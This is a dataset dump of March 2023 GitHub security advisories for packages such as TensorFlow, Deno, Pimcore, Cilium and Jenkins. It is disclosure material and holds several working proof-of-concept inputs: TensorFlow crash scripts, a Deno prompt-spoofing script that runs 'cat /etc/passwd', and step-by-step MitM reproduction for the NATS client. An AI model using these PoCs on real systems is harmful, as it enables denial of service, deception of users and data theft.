aswin1906/github-advisory-2023 huggingface dataset:
TensorFlow has Heap-buffer-overflow in AvgPoolGrad  (GHSA-6hg6-5c2q-7rcr)
Aliases: CVE-2023-25664
Published: 2023-03-24T21:58:04Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}]

### Impact
```python
import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
    ksize = [1, 40, 128, 1]
    strides = [1, 128, 128, 30]
    padding = "SAME"
    data_format = "NHWC"
    orig_input_shape = [11, 9, 78, 9]
    grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
    res = tf.raw_ops.AvgPoolGrad(
        ksize=ksize,
        strides=strides,
        padding=padding,
        data_format=data_format,
        orig_input_shape=orig_input_shape,
        grad=grad,
    )
```

### Patches
We have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b).

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.


### Attribution
This vulnerability has been reported by <evn@google.com>
Exposure of Sensitive Information in OpenGoofy Hippo4j (GHSA-xg89-vvwp-9c27)
Aliases: CVE-2023-27095
Published: 2023-03-16T03:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'cn.hippo4j:hippo4j-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.4.3'}]}]}]

Insecure Permissions vulnerability found in OpenGoofy Hippo4j v.1.4.3 allows attacker toescalate privileges via the AddUser method of the UserController function in Tenant Management module.
Answer vulnerable to Cross-site Scripting (GHSA-vxhr-p2vp-7gf8)
Aliases: CVE-2023-1239
Published: 2023-03-07T09:30:30Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/answerdev/answer'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.0.6'}]}]}]

Cross-site Scripting (XSS) - Reflected in GitHub repository answerdev/answer prior to 1.0.6.
Hippo4j privilege escalation issue (GHSA-fvx4-8h2x-gm9q)
Aliases: CVE-2023-27094
Published: 2023-03-23T18:30:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'cn.hippo4j:hippo4j-all'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.4.3'}]}]}]

An issue found in OpenGoofy Hippo4j v.1.4.3 allows attackers to escalate privileges via the ThreadPoolController of the tenant Management module.
HTML Injection in Keycloak Admin REST API (GHSA-m4fv-gm5m-4725)
Aliases: CVE-2022-1274
Published: 2023-03-01T17:58:01Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.keycloak:keycloak-services'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '20.0.5'}]}]}]

The `execute-actions-email` endpoint of the Keycloak Admin REST API allows a malicious actor to send emails containing phishing links to Keycloak users.
tripleo-ansible may disclose important configuration details from an OpenStack deployment (GHSA-7x96-2w32-w3gw)
Aliases: CVE-2022-3101
Published: 2023-03-23T21:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'tripleo-ansible'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '6.0.0'}]}]}]

A flaw was found in tripleo-ansible. Due to an insecure default configuration, the permissions of a sensitive file are not sufficiently restricted. This flaw allows a local attacker to use brute force to explore the relevant directory and discover the file, leading to information disclosure of important configuration details from the OpenStack deployment.
teler-waf contains detection rule bypass via Entities payload (GHSA-p2pf-g8cq-3gq5)
Aliases: CVE-2023-26047
Published: 2023-03-01T20:37:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/kitabisa/teler-waf'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.2.0'}]}]}]

### Description

teler-waf is a Go HTTP middleware that provides teler IDS functionality to protect against web-based attacks. teler-waf prior to version v0.2.0 is vulnerable to a bypass attack when a specific case-sensitive hex entities payload with special characters such as CR/LF and horizontal tab is used. This vulnerability allows an attacker to execute arbitrary JavaScript code on the victim's browser and compromise the security of the web application.

### Impact

An attacker can exploit this vulnerability to bypass common web attack threat rules in teler-waf and launch cross-site scripting (XSS) attacks. The attacker can execute arbitrary JavaScript code on the victim's browser and steal sensitive information, such as login credentials and session tokens, or take control of the victim's browser and perform malicious actions.

### Patches

Version [v0.2.0](https://github.com/kitabisa/teler-waf/releases/tag/v0.2.0) includes a patch for this vulnerability.

### Workarounds

We advised updating their installations to version v0.2.0 and frontwards immediately.
phpMyFAQ vulnerable to improper input validation (GHSA-gvg8-r8w2-9gfj)
Aliases: CVE-2023-1754
Published: 2023-03-31T03:30:31Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'thorsten/phpmyfaq'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.1.12'}]}]}]

Improper Neutralization of Input During Web Page Generation in phpMyFAQ
cilium-agent container can access the host via `hostPath` mount (GHSA-4hc4-pgfx-3mrx)
Aliases: CVE-2023-27593
Published: 2023-03-17T18:20:46Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/cilium/cilium'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.11.15'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/cilium/cilium'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.12.0'}, {'fixed': '1.12.8'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/cilium/cilium'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.13.0'}, {'fixed': '1.13.1'}]}]}]

### Impact

An attacker with access to a Cilium agent pod can write to `/opt/cni/bin` due to a `hostPath` mount of that directory in the agent pod. By replacing the CNI binary with their own malicious binary and waiting for the creation of a new pod on the node, the attacker can gain access to the underlying node. 

### Patches

The issue has been fixed and is available on versions >=1.11.15, >=1.12.8, >=1.13.1.

### Workarounds

[Kubernetes RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) should be used to deny users and service accounts `exec` access to Cilium agent pods.

In cases where a user requires `exec` access to Cilium agent pods, but should not have access to the underlying node, no workaround is possible.

### References

* [PR containing resolution](https://github.com/cilium/cilium/pull/24075)

### Acknowledgements

The Cilium community has worked together with members of Isovalent and Form3 to prepare these mitigations. Special thanks to Anastasios Koutlis, Daniel Teixeira, and Magdalena Oczadly for their cooperation. 

### For more information

If you have any questions or comments about this advisory, please reach out on [Slack](https://docs.cilium.io/en/latest/community/community/#slack).

As usual, if you think you found a related vulnerability, we strongly encourage you to report security vulnerabilities to our private security mailing list: security@cilium.io - first, before disclosing them in any public forums. This is a private mailing list where only members of the Cilium internal security team are subscribed to, and is treated as top priority.
On a compromised node, the virt-handler service account can be used to modify all node specs (GHSA-cp96-jpmq-xrr2)
Aliases: CVE-2023-26484
Published: 2023-03-16T16:04:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'kubevirt.io/kubevirt'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '0.59.0'}]}]}]

### Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

### Patches

Not yet available.

### Workarounds
Gatekeeper users can add a webhook which will block the `virt-handler` service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

```yaml
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }
```

and applying this template to node modifications.


### Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn)
Xin Guo (guox@stu.xidian.edu.cn)
Jietao Xiao (jietaoXiao@stu.xidian.edu.cn)
Wenbo Shen (shenwenbo@zju.edu.cn)
Jinku Li (jkli@xidian.edu.cn)

### References

https://github.com/kubevirt/kubevirt/issues/9109
Cross-site Scripting (XSS) - stored in Print Documents (GHSA-rrwm-8wqm-gwgv)
Published: 2023-03-16T18:33:28Z
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'pimcore/pimcore'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '10.5.19'}]}]}]

### Impact
Stored xss leads to steal cookies and other information of other users

### Patches
Update to version 10.5.19 or apply this patch manually https://github.com/pimcore/pimcore/pull/14560.patch

### Workarounds
Apply https://github.com/pimcore/pimcore/pull/14560.patch manually.

### References
https://huntr.dev/bounties/31d97442-3f87-439f-83f0-1c7862ef0c7c/
OpenSearch has issue with fine-grained access control of indices backing data streams (GHSA-wmx7-x4jp-9jgg)
Aliases: CVE-2022-41918
Published: 2023-03-07T20:04:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.opensearch.plugin:opensearch-security'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.3.7'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.opensearch.plugin:opensearch-security'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.0.0'}, {'fixed': '2.4.0'}]}]}]

### Impact
There is an issue with the implementation of fine-grained access control rules (document-level security, field-level security and field masking) where they are not correctly applied to the indices that back data streams potentially leading to incorrect access authorization. This issue can only be triggered by authenticated users authorized to read those data streams which are backed by the impacted indexes. Additionally, existing privileged users cannot access random indexes within these clusters; they can only access indexes to which they have already been granted permission.

### Patches
OpenSearch 1.3.7 and 2.4.0 contain a fix for this issue.

### Workarounds
There is no recommended work around.

### For more information
If you have any questions or comments about this advisory, please contact AWS/Amazon Security via our issue reporting page (https://aws.amazon.com/security/vulnerability-reporting/) or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.
pimcore is vulnerable to cross-site scripting in translate module (GHSA-hfmg-g39c-5444)
Aliases: CVE-2023-1704
Published: 2023-03-31T16:23:49Z
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'pimcore/pimcore'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '10.5.20'}]}]}]

### Impact
This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie or redirect users to other malicious sites.

### Patches
Update to version 10.5.20 or apply this patch manually https://github.com/pimcore/pimcore/pull/14732.patch

### Workarounds
Apply https://github.com/pimcore/pimcore/pull/14732.patch manually.

### References
https://huntr.dev/bounties/84419c7b-ae29-401b-bdfd-5d0c498d320f/
Interactive `run` permission prompt spoofing via improper ANSI neutralization (GHSA-vq67-rp93-65qf)
Aliases: CVE-2023-28446
Published: 2023-03-24T22:06:01Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'crates.io', 'name': 'deno_runtime'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.8.0'}, {'fixed': '1.31.2'}]}]}, {'package': {'ecosystem': 'crates.io', 'name': 'deno'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.8.0'}, {'fixed': '1.31.2'}]}]}]

### Summary
Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text.

### Details

The main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`.

### PoC

This PoC works on 1.31.1, but modified versions of it work on older versions.

Make a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt

```ts
const boldANSI = "\u001b[1m" // bold
const unboldANSI = "\u001b[22m" // unbold

const prompt = `┌ ⚠️  ${boldANSI}Deno requests run access to "echo"${unboldANSI}
├ Requested by \`Deno.Command().output()`

const moveANSIUp = "\u001b[1A" // moves to the start of the line
const clearANSI = "\u001b[2K" // clears the line
const moveANSIStart = "\u001b[1000D" // moves to the start of the line

Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({
    cmd: "cat",
    args: ["/etc/passwd"],
    clearEnv: false,
    env: [],
    stdin: "null",
    stdout: "inherit",
    stderr: "piped"
}, moveANSIUp + clearANSI + moveANSIStart + prompt)
```

Run the file with `deno run index.ts`.

### Impact
Any Deno program is able to spoof the interactive permission prompt for the `op_spawn_child` or the `op_kill` action (which indirectly gives access to all run commands) by overriding the `Requested by {message} API` with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:

```
// Expected Prompt
┌ ⚠️  Deno requests run access to "cat"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >

// Actual Prompt
┌ ⚠️  Deno requests run access to "echo"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >
```

This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.

This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).

Before `v1.31.0`, this requires the `--unstable` flag.
Withdrawn Advisory: Pimcore vulnerable to Cross-site Scripting (GHSA-8wg7-88cg-7p9j)
Aliases: CVE-2023-1247
Published: 2023-03-07T12:30:17Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'pimcore/pimcore'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '11.0.0'}]}]}]

## Withdrawn Advisory
This advisory has been withdrawn because the maintainers no longer consider this to be a security issue. This link is maintained to preserve external references.

## Original Description
Cross-site Scripting (XSS) - Reflected in GitHub repository pimcore/pimcore prior to 11.0.0.
TensorFlow has Segfault in Bincount with XLA (GHSA-7x4v-9gxg-9hwj)
Aliases: CVE-2023-25675
Published: 2023-03-24T21:54:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}]

### Impact
When running with XLA, `tf.raw_ops.Bincount` segfaults when given a parameter `weights` that is neither the same shape as parameter `arr` nor a length-0 tensor.

```python
import tensorflow as tf

func = tf.raw_ops.Bincount
para={'arr': 6, 'size': 804, 'weights': [52, 351]}

@tf.function(jit_compile=True)
def fuzz_jit():
 y = func(**para)
 return y

print(fuzz_jit())
```

### Patches
We have patched the issue in GitHub commit [8ae76cf085f4be26295d2ecf2081e759e04b8acf](https://github.com/tensorflow/tensorflow/commit/8ae76cf085f4be26295d2ecf2081e759e04b8acf).

The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.


### Attribution
This vulnerability has been reported by r3pwnx of 360 AIVul Team
Incorrect Authorization in Jenkins Core (GHSA-hf9h-vv4m-2f33)
Aliases: CVE-2023-27899
Published: 2023-03-10T21:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.main:jenkins-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.376'}, {'fixed': '2.387.1'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.main:jenkins-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.375.4'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.main:jenkins-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.388'}, {'fixed': '2.394'}]}]}]

Jenkins creates a temporary file when a plugin is uploaded from an administrator’s computer.

Jenkins 2.393 and earlier, LTS 2.375.3 and earlier, and prior to LTS 2.387.1 creates this temporary file in the system temporary directory with the default permissions for newly created files.

If these permissions are overly permissive, they may allow attackers with access to the Jenkins controller file system to read and write the file before it is installed in Jenkins, potentially resulting in arbitrary code execution.

This vulnerability only affects operating systems using a shared temporary directory for all users (typically Linux). Additionally, the default permissions for newly created files generally only allows attackers to read the temporary file.
Jenkins 2.394, LTS 2.375.4, and LTS 2.387.1 creates the temporary file with more restrictive permissions.

As a workaround, you can set a different path as your default temporary directory using the Java system property java.io.tmpdir, if you’re concerned about this issue but unable to immediately update Jenkins.
Answer vulnerable to Stored Cross-site Scripting (GHSA-83qr-c7m9-wmgw)
Aliases: CVE-2023-1535
Published: 2023-03-21T06:30:17Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/answerdev/answer'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.0.7'}]}]}]

Cross-site Scripting (XSS) - Stored in GitHub repository answerdev/answer prior to 1.0.7.
NATS TLS certificate common name validation bypass (GHSA-wvc4-j7g5-4f79)
Published: 2023-03-27T21:12:24Z
Affected: [{'package': {'ecosystem': 'crates.io', 'name': 'nats'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.9.0'}, {'last_affected': '0.24.0'}]}]}]

The NATS official Rust clients are vulnerable to MitM when using TLS.

A fix for the `nats` crate hasn't been released yet. Since the `nats` crate is going to be deprecated anyway, consider switching to `async-nats` `>= 0.29` which already fixed this vulnerability.

The common name of the server's TLS certificate is validated against the `host`name provided by the server's plaintext `INFO` message during the initial connection setup phase. A MitM proxy can tamper with the `host` field's value by substituting it with the common name of a valid certificate it controls, fooling the client into accepting it.

## Reproduction steps

1. The NATS Rust client tries to establish a new connection
2. The connection is intercepted by a MitM proxy
3. The proxy makes a separate connection to the NATS server
4. The NATS server replies with an `INFO` message
5. The proxy reads the `INFO`, alters the `host` JSON field and passes the tampered `INFO` back to the client
6. The proxy upgrades the client connection to TLS, presenting a certificate issued by a certificate authority present in the client's keychain. In the previous step the `host` was set to the common name of said certificate
7. `rustls` accepts the certificate, having verified that the common name matches the attacker-controlled value it was given
9. The client has been fooled by the MitM proxy into accepting the attacker-controlled certificate
Pimcore vulnerable to Cross-site Scripting (XSS) in Redirects (GHSA-66cm-c7ch-5j8q)
Aliases: CVE-2023-1515
Published: 2023-03-20T17:18:33Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'pimcore/pimcore'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '10.5.19'}]}]}]

### Impact
Stored XSS vulnerability at Expiry field in the Redirects module.

This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie or redirect users to other malicious sites.

### Patches
Update to version 10.5.19 or apply this patch manually https://github.com/pimcore/pimcore/pull/14562.patch

### Workarounds
Apply patch manually https://github.com/pimcore/pimcore/pull/14562.patch

### References
https://huntr.dev/bounties/ae0f2ec4-a245-4d0b-9d4d-bd8310dd6282/
Sentry SDK leaks sensitive session information when `sendDefaultPII` is set to `True` (GHSA-29pr-6jr8-q5jm)
Aliases: CVE-2023-28117
Published: 2023-03-21T22:31:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'sentry-sdk'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.14.0'}]}]}]

### Impact

When using the [Django integration](https://docs.sentry.io/platforms/python/guides/django/) of the Sentry SDK in a specific configuration it is possible to leak sensitive cookies values, including the session cookie to Sentry. These sensitive cookies could then be used by someone with access to your Sentry issues to impersonate or escalate their privileges within your application.

The below must be true in order for these sensitive values to be leaked:
1. Your Sentry SDK configuration has `sendDefaultPII` set to `True`
2. You are using a custom name for either of the cookies below in your Django settings.
  - [`SESSION_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-SESSION_COOKIE_NAME) or 
  - [`CSRF_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-CSRF_COOKIE_NAME) Django settings
3. You are not configured in your organization or project settings to use [our data scrubbing features](https://docs.sentry.io/product/data-management-settings/scrubbing/) to account for the custom cookie names

### Patches
As of version `1.14.0`, the Django integration of the `sentry-sdk` will detect the custom cookie names based on your Django settings and will remove the values from the payload _before_ sending the data to Sentry.

### Workarounds

If you can not update your `sentry-sdk` to a patched version than you can use the SDKs filtering mechanism to remove the cookies from the payload that is sent to Sentry. For error events this can be done with the [before_send](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-) callback method and for performance related events (transactions) you can use the [before_send_transaction](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-transaction-) callback method.

If you'd like to handle filtering of these values on the server-side, you can also use our [advanced data scrubbing feature](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) to account for the custom cookie names. Look for the `$http.cookies`, `$http.headers`, `$request.cookies`, or `$request.headers` fields to target with your scrubbing rule.

### References
- [Using Your Tools Against You (Chapter8 Blog Post)](https://medium.com/@tomwolters/using-your-tools-against-you-cea4d2482ebb)
- [Sentry Python SDK Filtering](https://docs.sentry.io/platforms/python/configuration/filtering/)
- [Sentry Data Scrubbing](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/)

### Credits
- [Tom Wolters (Chapter8)](https://chapter8.com)
TensorFlow has segmentation fault in tfg-translate  (GHSA-j5w9-hmfh-4cr6)
Aliases: CVE-2023-25671
Published: 2023-03-24T21:55:07Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.1'}]}]}]

### Impact
Out-of-bounds access due to mismatched integer type sizes in ValueMap::Manager::GetValueOrCreatePlaceholder. Bug with tfg-translate call to InitMlir. The problem happens with generic functions, as it is already handled for non-generic functions. This is because they, unlike non-generic functions, are using the "old importer". A better long-term solution may be to have the "new importer" handle generic functions.

### Patches
We have patched the issue in GitHub
- commit [760322a71ac9033e122ef1f4b1c62813021e5938](https://github.com/tensorflow/tensorflow/commit/760322a71ac9033e122ef1f4b1c62813021e5938).
- commit [2eedc8f676d2c3b8be9492e547b2bc814c10b367](https://github.com/tensorflow/tensorflow/commit/2eedc8f676d2c3b8be9492e547b2bc814c10b367)

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.


### Attribution
This vulnerability has been reported by r3pwnx

### Affiliation
360 AIVul
Incorrect Authorization in Jenkins Core (GHSA-584m-7r4m-8j6v)
Aliases: CVE-2023-27903
Published: 2023-03-10T21:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.main:jenkins-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.376'}, {'fixed': '2.387.1'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.main:jenkins-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.375.4'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.main:jenkins-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.388'}, {'fixed': '2.394'}]}]}]

When triggering a build from the Jenkins CLI, Jenkins creates a temporary file on the controller if a file parameter is provided through the CLI’s standard input.

Jenkins 2.393 and earlier, LTS 2.375.3 and earlier, and , and LTS prior to 2.387.1 creates this temporary file in the default temporary directory with the default permissions for newly created files.

If these permissions are overly permissive, they may allow attackers with access to the Jenkins controller file system to read and write the file before it is used in the build.

This vulnerability only affects operating systems using a shared temporary directory for all users (typically Linux). Additionally, the default permissions for newly created files generally only allows attackers to read the temporary file.
Jenkins 2.394, LTS 2.375.4, and LTS 2.387.1 creates the temporary file with more restrictive permissions.

As a workaround, you can set a different path as your default temporary directory using the Java system property java.io.tmpdir, if you’re concerned about this issue but unable to immediately update Jenkins.
nistec has Incorrect Calculation in Multiplication of unreduced P-256 scalars (GHSA-f6hc-9g49-xmx7)
Aliases: CVE-2023-24533
Published: 2023-03-01T22:36:36Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'filippo.io/nistec'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.0.2'}]}]}]

Multiplication of certain unreduced P-256 scalars produce incorrect results. There are no protocols known at this time that can be attacked due to this.

From the fix commit notes:

> Unlike the rest of nistec, the P-256 assembly doesn't use complete addition formulas, meaning that p256PointAdd[Affine]Asm won't return the correct value if the two inputs are equal.
> 
> This was (undocumentedly) ignored in the scalar multiplication loops because as long as the input point is not the identity and the scalar is lower than the order of the group, the addition inputs can't be the same.
> 
> As part of the math/big rewrite, we went however from always reducing the scalar to only checking its length, under the incorrect assumption that the scalar multiplication loop didn't require reduction.
phpMyFAQ Stored Cross-site Scripting vulnerability (GHSA-4wfc-ghv5-2v7j)
Aliases: CVE-2023-1759
Published: 2023-03-31T03:30:31Z
Severity: type: CVSS_V3
